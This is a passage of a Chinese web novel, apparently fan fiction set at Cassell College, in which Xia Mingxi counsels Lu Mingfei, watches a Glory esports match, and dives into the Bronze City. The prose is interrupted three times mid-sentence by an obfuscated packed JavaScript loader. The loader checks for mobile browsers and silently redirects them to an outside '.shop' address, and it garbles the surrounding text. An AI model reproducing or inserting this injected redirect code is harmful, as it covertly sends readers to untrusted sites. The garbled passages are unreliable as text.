路明非猛地抬起头,有些难以置信地看着夏明晞。他从这位总是面无表情的师姐脸上,没有看到嘲讽,也没有看到同情,只有一种近乎纯粹的分析和莫名的鼓励? 夏明晞仿佛没有看到他眼中的震惊,继续用那种平铺直叙的语气说道:“诺诺对外说喜欢红色,其实她私下里更喜欢粉色系的小东西,觉得粉色更有少女心,虽然她从来不承认。她喜欢四叶草,觉得那是幸运的象征,收集了不少四叶草形状的饰品。她喜欢酒,尤其是果味甜酒,但也喜欢甜食,说能抵消酒精的苦味。听歌的话,她偏好那种八九十年代的悲情老情歌,觉得有故事感,有格调。她喜欢跑车,喜欢速度感,喜欢一切能带来刺激和新鲜感的东西,喜欢浪漫,喜欢玩,但本质上……她更在意的是,有没有人能真正在意她,记住她那些看似矛盾、微不足道的喜好。” 路明非彻底愣住了。他张着嘴,声音像卡在喉咙里,半天发不出一个音节。夏明晞说的这些细节,有些他隐约感觉到,有些他完全不知道。 这些信息碎片拼凑起来,勾勒出一个比平时那个张扬热烈的诺诺更加复杂、也更加真实的形象。原来师姐……这么了解诺诺吗? 就在他脑子还处于宕机状态时,夏明晞抛出了最后一个问题,直截了当,没有丝毫拐弯抹角: “那个烟花……其实是你送的吧?” “师、师姐是怎么知道的?!”路明非像是被踩了尾巴的猫,差点从椅子上跳起来,声音都变了调,脸上的血色瞬间褪得一干二净,只剩下惊恐和慌乱。这可是他藏在心底最深处的秘密,连芬格尔他都没敢完全坦白! 夏明晞看着他这副反应,心里已经有了答案。她耸了耸肩,语气平淡得像是在讨论天气:“猜的。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088460|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为恺撒……不会送烟花这种东西。” 她顿了顿,补充了自己的观察,“他的浪漫,更倾向于精准、奢华、有掌控感的仪式,而不是这种……充满意外性和不确定性的、近乎野蛮的绚烂。所以,我觉得你还是有胜算的,” 她看着路明非依旧呆滞的脸,总结道,“就是在这一点上,她喜欢意外的惊喜。” 路明非的脑子嗡嗡作响,各种情绪随着夏明晞的话涌上他的心头。害怕,羞耻,一丝被看穿的恼怒,还有……一丝微弱却顽强燃起的、名为希望的火苗?他不知道。 夏明晞该说的话似乎说完了。她端起自己基本吃完的餐盘,准备起身送去回收处。 就在她刚刚站起来的瞬间,路明非突然开口了。他的声音有些发紧,带着一种小心翼翼的试探,还有连他自己都没察觉到的、对眼前这位总是冷静自持的师姐的一丝好奇: “师姐……你也有过……喜欢的人吧?” 夏明晞准备离开的动作,因为这句话,微不可察地顿了一下。 她垂下眼睑,长长的睫毛在眼下投下一小片扇形的阴影。脑海里,几乎是不受控制地,浮现出一个清晰的身影——穿着黑黄队服,沉默地坐在比赛席上,侧脸专注,指尖在键盘鼠标上飞舞;又或者是更久以前,穿着校服,在奶茶店对她笑,在球场边为她加油,眼神干净明亮…… 那些画面一闪而过,快得像夏明晞眼瞳深处偶尔失控闪过的金色雷光。她轻轻吸了口气,又缓缓吐出,仿佛要将那些不该在此时此地涌现的影像和情绪,重新压回心底最深的角落。 “是啊,”她的声音很轻,没什么波澜,像是在陈述一件与自己无关的往事,“曾经有。” 路明非看着她平静的侧脸,等待着她继续说下去。 “但是,”夏明晞抬眼,目光有些飘忽,越过餐厅嘈杂的人群,望向窗外卡塞尔学院秋日高远的天空,“自从我知道自己是混血种之后……就和他断了所有联系。” 路明非愣住了,下意识地问:“为什么?” 夏明晞收回目光,重新看向他,眼神里多了一丝路明非看不懂的、复杂难言的东西。那里面有无奈,有决绝,或许还有一丝深藏的、连她自己都不愿承认的遗憾。 “因为……”她顿了顿,似乎在寻找合适的词语,最终只是简单地说,“我们已经不能算是普通的人类了啊。而且……” 她的声音更低了一些,带着一种近乎叹息的意味:“不想把他卷进来。这个世界的另一面,太危险了。有时候,远离,可能才是最好的保护。” 她说完,看着路明非依旧有些懵懂和震惊的脸,嘴角极轻微地向上弯了一下,那是一个几乎算不上笑容的弧度,却让她的表情柔和了一瞬。 “所以,我挺羡慕你们的。”夏明晞最后说道,声音恢复了平时的平淡,却多了一丝不易察觉的感慨,“喜欢的人就在自己身边,看得见,摸得着。虽然有差距,有困难,但至少……还有尝试的机会和空间。” 她端起餐盘,转身朝回收处走去,走了两步,又停下来,没有回头,只是轻声留下一句: “可要好好把握啊。” 说完,她便径直离开了,留下路明非一个人坐在原地,对着面前凉透的午餐,脑子里反复回响着她刚才说的每一句话,每一个字。 餐厅的喧嚣仿佛瞬间远去。路明非呆呆地坐着,手指无意识地抠着桌布边缘。 原来……看似冷静强大的夏师姐,也有着那样一段需要亲手斩断的过去。原来,在这个充满了超常力量和危险使命的学院里,每个人看似光鲜或古怪的表象下,都可能藏着不为人知的、属于普通人的疼痛与抉择。 他低下头,看着自己因为紧张而微微出汗的手心。 他真的有勇气,去把握那微乎其微的、夏明晞口中“万一”的可能性吗? 20. 青铜计划(三) 这天下午的水下协同训练结束得比平时稍早一些。夏明晞从模拟深潜舱里爬出来,摘掉沉重的头盔,湿漉漉的头发紧贴在额角和脖颈上,训练服也湿了大半,黏在身上很不舒服。 她拧开水龙头,用冷水泼了把脸,刺骨的凉意让她因为长时间水下作业而有些昏沉的头脑瞬间清醒了不少。 旁边的路明非则显得更加狼狈,几乎是手脚并用地爬出潜舱,然后瘫坐在地上大口喘气,脸色因为缺氧和水压有些发白,胸口剧烈起伏着,活像一条被冲上岸的鱼。 今天的训练内容是模拟复杂洋流环境下的紧急上浮和障碍规避,对路明非这种水下“秤砣”来说,简直是地狱难度。夏明晞全程盯防,精神高度集中,既要完成自己的战术动作,又要随时准备捞人或者下达最简洁的指令,一整套下来,连她都感到了一丝疲惫。 她看了一眼墙上的电子钟,时间显示是下午四点十分。这个时间点……她犹豫了一下,心里微微一动。 没有像往常一样立刻督促路明非去冲洗换衣服,或者复盘刚才的训练失误,夏明晞只是走到储物柜前,拿出自己的背包。她从里面翻出干净的毛巾擦了擦头发和脸,然后拿出手机,戴上耳机,手指在屏幕上快速滑动了几下。 路明非缓了好一会儿,才感觉呼吸顺畅了些。他挣扎着从地上爬起来,也走到自己的储物柜前,准备收拾东西。眼角余光瞥见旁边的夏明晞,发现她并没有像平时那样立刻进入训练总结模式,而是靠在柜子上,低垂着眼,专注地看着手机屏幕,两只白色的耳机线从她耳畔垂落下来。 这让路明非有些意外。在他的印象里,这位夏师姐在训练场附近,除了讨论训练相关,几乎不会做任何与训练无关的事情,更别提这样明显地开小差了。他忍不住好奇地偷偷瞥了一眼夏明晞的手机屏幕。 屏幕上是游戏比赛的直播画面,视角不断切换,能看见两个角色在复杂的场景地图中高速移动、激烈交锋,绚丽的技能特效不断炸开。路明非对这类游戏了解不多,但看界面风格和操作方式,似乎不是星际争霸。 他正看着,夏明晞突然毫无预兆地抬起头,目光从屏幕上移开,看向他。路明非吓了一跳,以为自己偷窥被发现,赶紧移开视线,装作在认真整理自己乱七八糟的训练装备。 “你玩过荣耀吗?”夏明晞的声音响起,很平静,听不出什么情绪,就像在问“你今天吃饭了吗”一样自然。 “啊?”路明非没想到她会主动跟自己闲聊,而且还是关于游戏的话题。他愣了一下,才反应过来,摇了摇头,语气里带着点遗憾,“没、没有玩过……不过倒是听说过,挺有名气的。只是……”他挠了挠后脑勺,有些不好意思地笑了笑,“这游戏对电脑配置要求太高了,我平时……玩不到。” 他想起自己寄居在叔叔婶婶家时,和堂弟路鸣泽共用一台老旧、配置普通的笔记本电脑。那台电脑能勉强运行星际争霸已经算是超常发挥,像荣耀这种以画面华丽、操作精细著称的大型游戏,根本想都不用想。偶尔去网吧,他也舍不得把有限的零花钱花在体验这种高端游戏上。 夏明晞听完,只是几不可察地点了点头,没再说什么。她的注意力似乎又回到了手机屏幕上,眼神重新变得专注起来。 路明非看着她沉浸其中的侧脸,张了张嘴,还想说点什么。比如问问她看的是哪场比赛,或者哪个选手,又或者……他其实对荣耀也有那么一点点好奇,毕竟芬格尔偶尔会念叨,说荣耀职业联赛现在火得不行。但看到夏明晞那副“生人勿近、比赛最大”的架势,他刚到嘴边的话又咽了回去。 空气里只剩下训练场远处其他学员隐约的交谈声、水流的哗哗声,以及从夏明晞耳机缝隙里漏出的、极其微弱的、属于游戏和解说的激昂音效。 路明非默默地收拾好自己的东西,他把湿透的训练服塞进防水袋,头盔擦干放好,检查了一下个人物品。他背上背包,又看了一眼依旧靠在柜子边、目光锁定屏幕的夏明晞,犹豫了一下,还是小声开口道: “师姐,那我……先走了啊?” 夏明晞的眼睛依旧盯着屏幕,只是极轻微地“嗯”了一声,算是听到了。 路明非便不再打扰,轻手轻脚地转身,朝着淋浴间和更衣室的方向走去。走了几步,他还是忍不住回头又看了一眼。夏明晞站在那里,身形在空旷的训练场边显得有些单薄,湿发在肩头留下一小片深色的水渍。 午后的阳光透过高高的窗户斜射进来,在她身上投下一道温暖的光柱,细小的尘埃在光柱中飞舞。而她整个人,却仿佛被笼罩在耳机里那个遥远、激烈、由像素和代码构成的世界中,与周遭的一切都隔着一层无形的屏障。 路明非心里莫名地涌起一丝奇怪的感觉。这位平时总是冷静、自律、甚至有些严厉的夏师姐,此刻看比赛的样子,竟然让他觉得有点陌生,又有点说不出的感觉。好像卸下了一层坚硬的壳,露出了里面一点点属于普通女孩的、会为游戏比赛激动或紧张的柔软内里。 不过这个念头只是一闪而过。他摇摇头,快步走开了。今天训练太累,他只想赶紧冲个热水澡,然后回宿舍瘫着。 另一边,夏明晞的注意力已经完全被屏幕上的比赛吸引。 今天是荣耀职业联赛第五赛季常规赛的一轮焦点战,轮回战队客场挑战霸图战队。比赛已经进行到了团队赛的关键时刻。 耳机里,解说语速飞快:“轮回这边一枪穿云的血量很不健康!但周泽楷没有选择后退!他在走位!非常极限的走位!躲开了大漠孤烟的崩山击!反手就是一波巴/雷/特狙击!命中!漂亮!但是霸图的支援到了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088461|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一枪穿云被包夹了!” 夏明晞的呼吸不自觉地屏住了。她的目光紧紧追随着屏幕上神枪手的身影。那个角色在对手的围追堵截中,以一种近乎诡异的冷静和精准移动着,每一次看似险之又险的闪避,每一次抓住转瞬即逝机会的反击,都透着操作者强大到可怕的手速、反应力和战场阅读能力。 她看着他操控的角色在绝境中挣扎、反击,看着他以近乎赌博的方式,用残血勾引对手,为队友创造机会。屏幕上的光影特效不断炸开,映在她的瞳孔里。 她想起一年前,在仕兰中学对面的奶茶店里,周泽楷笨拙地试图教她玩荣耀,她总是手忙脚乱,最后放弃,只坐在旁边看他玩。那时候的他,操作虽然也很厉害,但远没有现在屏幕上这种……仿佛与角色融为一体、每一个动作都带着冰冷杀伐气息的极致压迫感。 他真的变了许多。 变得更强大,更沉默,也更……遥远。 好像,遥不可及。 团队赛最终以轮回战队险胜告终。屏幕上亮起“荣耀”的标志,轮回的队员们站起来互相击掌,周泽楷依旧是那个没什么表情的样子,只是对着镜头极轻微地点了下头,便重新坐下了。 导播给了他一个特写,额发微湿,眼神平静无波,仿佛刚才那场惊心动魄的逆转胜与他无关。 夏明晞看着那个特写镜头,心里说不出是什么滋味。有些骄傲?有些陌生?还有些连她自己都无法准确形容的、淡淡的酸涩。 她关掉直播,摘下耳机。训练场里只剩下她一个人了,安静得能听到自己的呼吸声。窗外,夕阳的余晖将天空染成了温暖的橘红色。 她把手机放回背包,将湿漉漉的头发重新扎好,也朝着淋浴间的方向走去。 温热的水流冲刷下来,洗去一身的疲惫和汗湿。她闭上眼睛,脑子里却还残留着刚才比赛的一些片段 每个人都有自己的世界,有自己的热爱,也有自己的无奈和局限。 周泽楷在他的电竞世界里披荆斩棘,向着所有的冠军前进。 路明非在卡塞尔学院这个隐藏的世界里,挣扎着适应,怀揣着可能无望的暗恋。 而她,夏明晞,站在两个世界的边缘,或者说,被困在属于自己的、充满了龙族、言灵和未知危险的世界里,背负着父亲留下的使命和力量,准备迎接两个月后那场生死未卜的青铜计划。 水流声哗哗作响,蒸腾的热气模糊了视线。 她关掉水,擦干身体,换上干净的衣服。走出淋浴间时,天色已经完全暗了下来。学院的灯光次第亮起,照亮了返回宿舍的小径。 她背着包,独自一人走在路上。夜风吹过,带来初冬的凉意。她缩了缩脖子,将外套的拉链拉到顶端。 她深吸了一口冰凉的空气,加快了脚步。 21. 青铜与火之王(一) 他们抵达三峡时,正是清晨。江面上笼罩着一层薄薄的、灰白色的雾气,远处连绵的山影在雾中若隐若现,江水是沉郁的墨绿色,缓缓东流,带着一种古老而沉默的力量感。空气湿冷,吸进肺里带着江水特有的、混合着泥沙和微腥水汽的味道。 此次参与青铜计划水下行动的人员被分为A、B两组。A组是恺撒和零,负责正面突入和主要战术任务。而夏明晞、路明非,则被编为B组,作为预备队和辅助力量。 按照既定方案,B组的任务相对轻松——在水面舰艇上负责通讯协调、设备监控,以及在必要时提供支援,原则上无需直接下潜,这显然是为了照顾路明非这个水下困难户。 曼施坦因教授,此刻是本次水面行动的临时负责人。他站在经过改装的作业船甲板上,神色严肃,手里拿着一个平板电脑,身边围站着此次行动的所有成员。初冬江面的寒风吹动着他花白的头发和深色的风衣下摆。 “……情况大家都清楚了。我们的目标,是已经确认沉没于此处江底的、青铜与火之王诺顿的宫殿遗址,‘青铜城’。”曼施坦因教授的声音透过防风通讯器清晰地传入每个人的耳机,“根据之前的声呐扫描和有限的探测,我们定位到了一处可能的薄弱入口。A组的任务,是携带水下切割和爆破装备,尝试打开入口,并进行初步侦查。而B组,”他的目光扫过夏明晞、路明非和零,“你们负责在水面待命,监控A组动态,同时……” 他顿了顿,从身后一名助教手中接过一个看起来格外沉重、表面有着复杂机械结构的金属长筒状物体。那东西通体黝黑,泛着冷硬的光泽,筒身上蚀刻着密密麻麻、常人难以理解的符号和刻度。 “……同时,保管并准备使用这个。”曼施坦因教授将金属长筒小心地放在甲板一个特制的固定架上,“装备部特制的风暴/鱼/雷,水下超空泡武器,装药量……巨大。只有一颗。” 他指着鱼雷上某个红色的、被透明护罩盖住的按钮,语气加重:“它的威力足以在江底制造一场小型地震,波及范围难以精确控制。它的激活密码由我和船上的诺玛分机共同掌握,需要双重确认。” 夏明晞安静地站在队伍中,目光落在那个被称为“风暴”的黑色金属造物上。装备部出品,往往意味着威力与风险成正比。 她认真听着教授的每一句叮嘱,将关键信息记在心里。旁边的路明非则显得有些紧张,手指无意识地抠着潜水服腕部的密封条,眼神时不时瞟向那黝黑的鱼雷,又迅速移开,喉结微微滚动。 不过,想到自己属于B组,主要任务是待在相对安全的船上,他紧绷的神经多少放松了一些,虽然依旧忐忑,但还不至于崩溃。 然而,计划永远赶不上变化。 就在曼施坦因教授结束装备介绍,准备分配具体任务和登船位置时,一直安静站在夏明晞另一侧的零,突然举起了手。 “教授,我有问题。” “什么问题?零同学。”曼施坦因教授看向她。 零放下手,用那双冰蓝色的眼眸直视教授,以零下两百度的冷静口吻,清晰地陈述道:“今天我不能下水。” 甲板上瞬间安静了一瞬,只有江风吹过缆绳和旗帜的猎猎声响。所有人都看向零,包括夏明晞和路明非。 曼施坦因教授似乎没料到会是这样的问题,他愣了一下,推了推眼镜:“理由?” 零依旧面无表情,解释:“我大姨妈来了,所以不能下水。” 夏明晞清楚地看到,旁边的路明非整个人瞬间僵住了,眼睛瞪得溜圆,嘴巴微微张开,仿佛听到了什么外星语言。 他脸上的血色以肉眼可见的速度褪去,又迅速涨红,表情介于极度震惊、荒谬和不知所措之间,整个人呈现出一种标准的石化状态。 夏明晞在心里无声地叹了口气。同为女生,她当然理解零。生理期确实不适合进行深潜这种高强度、高压力的水下作业,风险会成倍增加。看来,B组的水下替补任务,不可避免地要落到她和路明非头上了。 “你是说……‘大姨妈’?”路明非像是终于找回了自己的声音,小心翼翼地、带着难以置信的语气问零,仿佛想确认自己是不是幻听了,“你懂中文里‘大姨妈’的意思么?” 他试图从语言理解的角度,为这过于冲击的事实寻找一个合理的解释。 零转过头,冰蓝色的眸子扫了他一眼,语气没有丝毫变化,依旧冰冷坚硬:“就是女性的生理期。” 路明非的石化状态似乎有碎裂的迹象,但紧接着又被更猛烈的冲击加固了。他几乎是脱口而出,声音因为震惊而有些变调:“我没听错吧?你看起来才14岁你会有生理期么?” 零的脸上依旧没有任何波澜,仿佛路明非说的是别人的事情。她用那种冷漠而坚硬的语气,一字一句地补充道:“这是事实。生理期这件事,我是有的。此外,我已经18岁了。” 最后这句关于年龄的声明,像最后一记重锤,彻底将已经濒临崩溃的路明非击得粉碎。他呆呆地站在那里,眼神涣散,仿佛世界观受到了前所未有的挑战。 曼施坦因教授显然也因为这突如其来的变故而有些措手不及,但他毕竟是教授,很快稳住了心神。他看了看零平静的脸,又看了看石化的路明非和神色淡然的夏明晞,沉吟了几秒钟,做出了决定。 “女性的基本权益还是要保障的。”他清了清嗓子,语气恢复了严肃,“那么,由B组剩余成员夏明晞、路明非,替补零的位置,执行原定B组可能需要承担的水下预备任务。有问题吗?” 夏明晞早就料到了这个结果。她神色平静,淡淡地点了点头:“我没问题。” 然后,她转向旁边依旧魂不守舍、仿佛还没从“零的生理期与年龄之谜”中回过神来的路明非,伸手轻轻拍了拍他的肩膀,“走吧,没问题的。” 路明非被她拍得一个激灵,眼神重新聚焦,但里面依旧充满了惶恐和不安。下潜?真的要下潜?去那个传说中龙王的老巢门口? 夏明晞看着他这副样子,心里觉得有些好笑,又有些无奈。她微微凑近路明非,压低声音,用只有两人能听清的音量,在他耳边快速说道:“顺便告诉你,诺诺走之前悄悄跟我说了,让我照顾好你。她说,你要是掉一根毛,她会找我算账的。” 路明非的眼睛猛地睁大,不可置信地看着夏明晞。然后,他看到她脸上极快地掠过一丝笑容?那笑容很淡,几乎转瞬即逝,快得让路明非怀疑自己是不是因为过度紧张而眼花了。 夏明晞已经直起身,语气恢复了平时的平淡,甚至还带上了一丝近乎调侃的轻松:“走吧,不就是在龙王家里安个炸弹吗,都训练那么久了。” 这句话的荒谬程度几乎赶上了零宣布生理期,但奇异地,让路明非紧绷到极点的神经稍微松动了一丝丝。当然,也就那么一丝丝。是啊,训练了那么久,不就是为了这一刻吗?虽然……还是很可怕。 曼施坦因教授蹲在船舷边,看着夏明晞和路明非在助教的帮助下,最后一次检查潜水装备、佩戴水下通讯器和照明设备。他的表情很严肃,目光在两人脸上停留了片刻,尤其是路明非那依旧有些发白的脸色。 “注意你们各自的氧气表,大约能够支撑3个小时,足够你们使用。”教授的声音透过通讯器传来,“保持通讯畅通,严格按照指令行动。” 夏明晞和路明非同时点了点头。夏明晞的动作沉稳,路明非则有些僵硬。 一切准备就绪。两人相视一眼,路明非的眼神里充满了“真的要下去吗”的惊恐,然后翻身,背对江水,向后仰倒。 扑通、扑通。 冰凉的江水瞬间淹没了他们。世界的声音陡然改变,水流的涌动声、自己略显急促的呼吸声、通讯器里微弱的电流声,取代了江面上的风声和人语。 下潜的过程是缓慢而孤独的。光线迅速变暗,周围只有自己头灯射出的光束,照亮前方一小片混沌的、悬浮着无数细小颗粒的水域。能见度很低,只有几米。 路明非紧紧地跟在夏明晞侧后方,心脏不受控制地跳动着。他忽然有些明白,为什么执行部的水下任务总是要求至少两人一组。这种被无边黑暗和巨大水压包裹的感觉,如果没有另一个人在身边,哪怕是无声的陪伴,也足以将人逼疯。 “深呼吸,路明非,压力要增加了。”夏明晞冷静的声音从耳机里传来。 路明非赶紧照做,努力调整呼吸,对抗着随着深度增加而不断增强的水压。耳朵里传来轻微的胀痛感,他按照训练时学的方法,稍微缓解了一些。 两人一边像过去两个月训练时那样,依靠手势和简短通讯保持联系,一边顺着声呐定位的引导,朝着江底那条因为地震而裂开的缝隙缓慢下潜。 他们话都不多,主要是路明非吓得几乎说不出完整句子,而夏明晞则专注于观察环境、核对深度和方向,没有闲聊的兴致。 脚下就是那条幽深的水底裂缝,像大地的一道漆黑伤口。他们双手拉住裂缝边缘凹凸不平的岩石,放松身体,任由腰带上沉重的铅锤拖着他们,缓缓向下沉去。 裂缝狭窄,两侧是湿滑冰冷的石壁,上面覆盖着厚厚的淤泥和水生苔藓。他们被紧紧地夹在中间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088462|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能一点点向下挪动。路明非忍不住抬头往上看去,入口处的微光早已消失,只剩下一片令人心悸的、绝对的漆黑。 压力继续增大,压力计上的数字跳动着,显示他们已经到达了80米的深度。这意味着进入裂缝后,他们又下潜了大约20米,相当于八层楼的高度。水压让潜水服发出轻微的咯吱声,耳膜的不适感更加明显。 “到了。”夏明晞的声音再次响起。 路明非顺着她头灯照射的方向看去。他们的面前,裂缝似乎到了尽头,取而代之的是一面墙壁。 在强力射灯的光照下,那面墙壁泛着古老的、斑驳的青绿色。厚重的铜锈如同棉絮般一层层覆盖在上面,呈现出一种腐败而又坚韧的质感。 在泡沫状的铜锈缝隙里,生长着一些叫不出名字的、细长丝条状的水生植物,随着水流的扰动轻轻摇曳。 如果不是那场地震,这面深藏在江底岩层中的青铜墙壁,恐怕永远不会暴露在世人眼前。 夏明晞调整头灯角度,光束扫过墙壁中央。她看到了一张人脸。 一张栩栩如生的、由青铜铸造的人脸,镶嵌在墙壁之中。五官清晰,表情肃穆,甚至带着某种古老而威严的韵味。只是表面同样覆盖着铜锈和附着物,让它看起来更加诡异。 “活灵……”夏明晞低声自语。她在炼金生物学的基础课程上听说过这种东西,以炼金术禁锢灵魂或意志于物体中的造物,通常用于守卫重要的门户或遗迹。 “我靠!”路明非显然也看到了,震惊地喊出了声,声音在通讯器里带着回响,“那是什么鬼东西?!” “没什么好大惊小怪的,那是个活灵,上炼金生物学的课你就会懂。”曼施坦因教授的声音适时地从耳机中传来,带着他特有的、冷静到近乎刻板的语调,“夏明晞,你们携带的真空管里,有‘钥匙’的一毫升鲜血。把血涂抹在活灵的嘴唇上,高纯度的龙族血统会为你们打开入口。” 夏明晞闻言,立刻从后腰的装备袋里,摸出了那支被小心固定在防震盒中的真空玻璃管。管内是少量暗红色的、仿佛还在微微流动的液体。她取出配套的微型注射器,动作熟练地从真空管中抽取了少量血样。 “这、这大叔还是活的么?”路明非的声音有些发颤,盯着那张青铜人脸,总觉得那双眼睛也在看着他们。 “是一个死物。它只是一个炼金学上的定义罢了,被赋予了某种‘识别’和‘开启’的指令。”夏明晞一边解释,一边靠近那面青铜墙壁,准备将针管中的血涂抹上去。 “可、可是它在咬我的手啊!” 随着路明非的话音落下,夏明晞猛的抬起头,发现那活灵咬住了路明非的手指。 整张脸猛地从墙壁中浮凸出来,表面的锈迹和附着物噼啪崩裂。原本肃穆的五官骤然扭曲,锋利的犬齿以迅雷不及掩耳之势猛地张开,又狠狠合拢! 路明非发出一声短促的惊呼,整个人因为手臂传来的剧痛和惊吓猛地向后一仰。夏明晞看得分明,他潜水服的袖套部分,在活灵锋利的犬齿咬合下,赫然裂开了一道口子! 压力正在迅速消失!冰冷刺骨的江水正从那道裂口疯狂涌入!这是深潜中最危险的情况之一,一旦潜水服内的压力无法维持,外部巨大的水压会瞬间将人挤压致伤,更别提失温、溺水和氧气快速消耗的致命威胁! 夏明晞的心脏几乎跳到了嗓子眼。她来不及思考活灵为什么会突然攻击,也顾不上那支珍贵的血样。几乎是本能地,她立刻伸手去拉路明非的手臂!无论如何,必须在氧气钢瓶里的气体泄漏完之前,把路明非从活灵口中救出来,并想办法封住潜水服的裂口! 她的手刚抓住路明非的手腕,用力向后扯。就在这一刹那,活灵那咬合力惊人的嘴,突然松开了。 路明非的手臂得以挣脱,但两人还来不及庆幸或处理裂口,更诡异的事情发生了。 那张青铜人脸,在松口之后,并没有恢复原状或缩回墙壁。反而……它的嘴越张越大,越张越大,超出了正常人类面孔的极限,形成了一个幽深黑暗的洞口。一股强大得难以抗拒的吸力,猛地从那洞口中传来! 周围的水流瞬间变得狂暴混乱,形成一个急速旋转的漩涡,将他们两人连同附近的水草、泥沙一起,朝着那张巨口卷去! 然后,眼前骤然一黑,耳边只剩下路明非的尖叫。 巨大的水流冲击力和旋转让他们瞬间失去了方向感和对身体的控制,仿佛被扔进了高速运转的滚筒洗衣机。冰冷、黑暗、窒息感、失重感……所有的不适和恐惧混合在一起,淹没了他们。